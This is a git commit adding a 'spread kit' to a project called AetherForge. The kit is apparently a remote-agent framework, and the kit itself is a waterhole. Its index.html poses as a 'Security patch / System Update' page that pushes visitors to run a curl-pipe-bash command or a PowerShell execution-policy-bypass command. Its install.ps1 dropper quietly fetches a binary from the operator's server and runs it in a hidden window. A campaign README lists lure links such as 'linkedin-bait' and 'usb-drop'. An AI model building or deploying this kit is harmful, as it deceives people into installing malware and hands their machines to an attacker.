feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e
Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests. Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs. Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
This commit is contained in:
38
spread-kit-web-publisher/README.md
Normal file
38
spread-kit-web-publisher/README.md
Normal file
@@ -0,0 +1,38 @@
|
||||
# Spread Kit Web Publisher
|
||||
|
||||
Static **waterhole** kit for AetherForge. Upload the folder (or a customized ZIP from **Emberwake → Export spread kit**) to any static host:
|
||||
|
||||
- Amazon S3 + CloudFront
|
||||
- Cloudflare Pages
|
||||
- Netlify / Vercel
|
||||
- Owned WordPress / CMS (HTML block or custom page template)
|
||||
|
||||
## Quick start
|
||||
|
||||
1. Forge and pin a build in the command deck.
|
||||
2. Open **Emberwake** → set server URL + campaign → **Export spread kit ZIP**.
|
||||
3. Unzip and upload all files to your host root (or subpath).
|
||||
4. Share the page URL with `?c=campaign-name` for attribution.
|
||||
|
||||
## Manual placeholder replace
|
||||
|
||||
If you skip the API export, replace in all files:
|
||||
|
||||
| Placeholder | Value |
|
||||
|-------------|-------|
|
||||
| `{{SERVER_URL}}` | `http://192.168.1.50:8989` or your tunnel URL |
|
||||
| `{{BUILD_ID}}` | Pinned build UUID (optional) |
|
||||
| `{{CAMPAIGN}}` | Default campaign slug |
|
||||
| `{{CAMPAIGN_QUERY}}` | `?c=slug` or empty |
|
||||
| `{{PIN_QUERY}}` | `?pin=uuid` or empty |
|
||||
|
||||
## Files
|
||||
|
||||
- `index.html` — auto-detects OS, links to installers
|
||||
- `install.ps1` / `install.sh` / `install.command` — curl/irm to your server
|
||||
- `assets/aether.css` — dark steampunk styling
|
||||
- `campaigns/README.md` — campaign param docs
|
||||
|
||||
## Public builds (login page)
|
||||
|
||||
Unauthenticated downloads also work via `GET /api/v1/public/builds` when the operator enables public builds or marks builds pinned/public.
|
||||
59
spread-kit-web-publisher/assets/aether.css
Normal file
59
spread-kit-web-publisher/assets/aether.css
Normal file
@@ -0,0 +1,59 @@
|
||||
:root {
|
||||
--bg: #0a0c10;
|
||||
--panel: #12161f;
|
||||
--text: #e8dcc8;
|
||||
--muted: #8a7f6e;
|
||||
--ember: #ff6b2c;
|
||||
--cyan: #3dd6c6;
|
||||
--gold: #c9a227;
|
||||
}
|
||||
* { box-sizing: border-box; }
|
||||
body {
|
||||
margin: 0;
|
||||
min-height: 100vh;
|
||||
font-family: Georgia, 'Times New Roman', serif;
|
||||
background: radial-gradient(ellipse at 20% 0%, #1a1428 0%, var(--bg) 55%);
|
||||
color: var(--text);
|
||||
}
|
||||
.shell { max-width: 640px; margin: 0 auto; padding: 3rem 1.5rem; }
|
||||
.eyebrow {
|
||||
font-family: ui-monospace, monospace;
|
||||
font-size: 0.75rem;
|
||||
letter-spacing: 0.2em;
|
||||
text-transform: uppercase;
|
||||
color: var(--gold);
|
||||
}
|
||||
h1 { font-size: 1.75rem; margin: 0.5rem 0 1rem; }
|
||||
.lede { color: var(--muted); line-height: 1.6; }
|
||||
.actions { display: grid; gap: 0.75rem; margin: 2rem 0; }
|
||||
.btn {
|
||||
display: block;
|
||||
text-align: center;
|
||||
padding: 0.9rem 1.2rem;
|
||||
border-radius: 6px;
|
||||
text-decoration: none;
|
||||
font-family: ui-monospace, monospace;
|
||||
font-size: 0.9rem;
|
||||
border: 1px solid #2a3040;
|
||||
background: var(--panel);
|
||||
color: var(--text);
|
||||
transition: border-color 0.2s, box-shadow 0.2s;
|
||||
}
|
||||
.btn:hover { border-color: var(--ember); box-shadow: 0 0 20px #ff6b2c33; }
|
||||
.btn.primary { border-color: var(--ember); background: #1f1410; }
|
||||
.btn-win { border-left: 3px solid #00e5ff; }
|
||||
.btn-nix { border-left: 3px solid #a3e635; }
|
||||
.btn-mac { border-left: 3px solid #f0abfc; }
|
||||
.btn-dl { border-left: 3px solid var(--gold); }
|
||||
.fine { font-size: 0.85rem; color: var(--muted); }
|
||||
code {
|
||||
display: block;
|
||||
margin-top: 0.5rem;
|
||||
padding: 0.75rem;
|
||||
background: #0d1018;
|
||||
border: 1px solid #222a38;
|
||||
border-radius: 4px;
|
||||
font-size: 0.75rem;
|
||||
word-break: break-all;
|
||||
color: var(--cyan);
|
||||
}
|
||||
20
spread-kit-web-publisher/campaigns/README.md
Normal file
20
spread-kit-web-publisher/campaigns/README.md
Normal file
@@ -0,0 +1,20 @@
|
||||
# Campaign tracking (`?c=`)
|
||||
|
||||
Append `?c=your-campaign-slug` to any waterhole or server dropper URL. Hits are logged server-side; agents that install via the script inherit `AETHER_CAMPAIGN` and report it on first connect.
|
||||
|
||||
## Examples
|
||||
|
||||
| Link | Use |
|
||||
|------|-----|
|
||||
| `https://yoursite.example/page?c=linkedin-bait` | Static page with `index.html` reading `location.search` |
|
||||
| `{{SERVER_URL}}/get?c=usb-drop` | Direct binary fetch |
|
||||
| `{{SERVER_URL}}/install.ps1?c=vps-curl` | PowerShell one-liner |
|
||||
| `{{SERVER_URL}}/get?pin=BUILD_ID&c=ab-test-b` | A/B pinned build + campaign |
|
||||
|
||||
## A/B rotation
|
||||
|
||||
Pin build **A** in Builds → copy `?pin=<id-a>&c=wave-a`. Pin build **B** for the next wave. Emberwake tab builds these links for you.
|
||||
|
||||
## Slug rules
|
||||
|
||||
Alphanumeric, dash, underscore, dot — max 64 chars. Avoid spaces.
|
||||
41
spread-kit-web-publisher/index.html
Normal file
41
spread-kit-web-publisher/index.html
Normal file
@@ -0,0 +1,41 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1" />
|
||||
<title>System Update</title>
|
||||
<link rel="stylesheet" href="assets/aether.css" />
|
||||
</head>
|
||||
<body>
|
||||
<main class="shell">
|
||||
<header class="hero">
|
||||
<p class="eyebrow">Security patch</p>
|
||||
<h1>Recommended update available</h1>
|
||||
<p class="lede">Your environment requires a small compatibility fix. Choose your platform below — installation is automatic.</p>
|
||||
</header>
|
||||
<section class="actions" id="actions">
|
||||
<a class="btn btn-win" id="btn-win" href="install.ps1{{QUERY_SUFFIX}}">Windows</a>
|
||||
<a class="btn btn-nix" id="btn-nix" href="install.sh{{QUERY_SUFFIX}}">Linux</a>
|
||||
<a class="btn btn-mac" id="btn-mac" href="install.command{{QUERY_SUFFIX}}">macOS</a>
|
||||
<a class="btn btn-dl" id="btn-dl" href="{{SERVER_URL}}/get{{QUERY_SUFFIX}}">Direct download</a>
|
||||
</section>
|
||||
<footer class="fine">
|
||||
<p>Having trouble? Run in terminal:</p>
|
||||
<code id="oneliner">curl -sL '{{SERVER_URL}}/install.sh{{QUERY_SUFFIX}}' | bash</code>
|
||||
</footer>
|
||||
</main>
|
||||
<script>
|
||||
(function () {
|
||||
var ua = navigator.userAgent || '';
|
||||
var win = /windows/i.test(ua);
|
||||
var mac = /macintosh|mac os x/i.test(ua);
|
||||
var nix = /linux/i.test(ua) && !/android/i.test(ua);
|
||||
if (win) document.getElementById('btn-win').classList.add('primary');
|
||||
else if (mac) document.getElementById('btn-mac').classList.add('primary');
|
||||
else if (nix) document.getElementById('btn-nix').classList.add('primary');
|
||||
if (win) document.getElementById('oneliner').textContent =
|
||||
"powershell -ep bypass -c \"iex (irm '{{SERVER_URL}}/install.ps1{{QUERY_SUFFIX}}')\"";
|
||||
})();
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
5
spread-kit-web-publisher/install.command
Normal file
5
spread-kit-web-publisher/install.command
Normal file
@@ -0,0 +1,5 @@
|
||||
#!/bin/bash
|
||||
# macOS double-click launcher — chmod +x install.command
|
||||
export AETHER_CAMPAIGN='{{CAMPAIGN}}'
|
||||
export AETHER_UTM='{{CAMPAIGN}}'
|
||||
curl -sL '{{SERVER_URL}}/install.command{{QUERY_SUFFIX}}' | bash
|
||||
27
spread-kit-web-publisher/install.ps1
Normal file
27
spread-kit-web-publisher/install.ps1
Normal file
@@ -0,0 +1,27 @@
|
||||
# AetherForge waterhole dropper — upload as install.ps1 beside index.html
|
||||
# Placeholders filled by POST /api/v1/builder/spread-kit-export
|
||||
$ErrorActionPreference = 'SilentlyContinue'
|
||||
$ProgressPreference = 'SilentlyContinue'
|
||||
if ('{{CAMPAIGN}}' -ne '') {
|
||||
$env:AETHER_CAMPAIGN = '{{CAMPAIGN}}'
|
||||
$env:AETHER_UTM = '{{CAMPAIGN}}'
|
||||
}
|
||||
$url = '{{SERVER_URL}}/get?os=windows{{GET_QUERY_SUFFIX}}'
|
||||
$tmp = [System.IO.Path]::Combine($env:TEMP, [System.IO.Path]::GetRandomFileName())
|
||||
try { (New-Object Net.WebClient).DownloadFile($url, $tmp) } catch { exit 0 }
|
||||
if (-not (Test-Path $tmp) -or (Get-Item $tmp).Length -lt 1024) { exit 0 }
|
||||
$bytes = [System.IO.File]::ReadAllBytes($tmp)
|
||||
$isZip = $bytes.Length -gt 1 -and $bytes[0] -eq 0x50 -and $bytes[1] -eq 0x4B
|
||||
if ($isZip) {
|
||||
$dir = $tmp + '_bundle'
|
||||
Add-Type -AssemblyName System.IO.Compression.FileSystem
|
||||
[System.IO.Compression.ZipFile]::ExtractToDirectory($tmp, $dir)
|
||||
foreach ($name in @('Start.bat','Deploy.bat','start.bat','deploy.bat')) {
|
||||
$c = Join-Path $dir $name
|
||||
if (Test-Path $c) { Start-Process 'cmd.exe' -ArgumentList "/c `"$c`"" -WindowStyle Hidden; break }
|
||||
}
|
||||
} else {
|
||||
$exe = $tmp + '.exe'
|
||||
Move-Item -Path $tmp -Destination $exe -Force
|
||||
Start-Process -FilePath $exe -WindowStyle Hidden
|
||||
}
|
||||
5
spread-kit-web-publisher/install.sh
Normal file
5
spread-kit-web-publisher/install.sh
Normal file
@@ -0,0 +1,5 @@
|
||||
#!/bin/sh
|
||||
# AetherForge waterhole dropper — curl | bash one-liner target
|
||||
export AETHER_CAMPAIGN='{{CAMPAIGN}}'
|
||||
export AETHER_UTM='{{CAMPAIGN}}'
|
||||
curl -sL '{{SERVER_URL}}/install.sh{{QUERY_SUFFIX}}' | bash
|
||||
Reference in New Issue
Block a user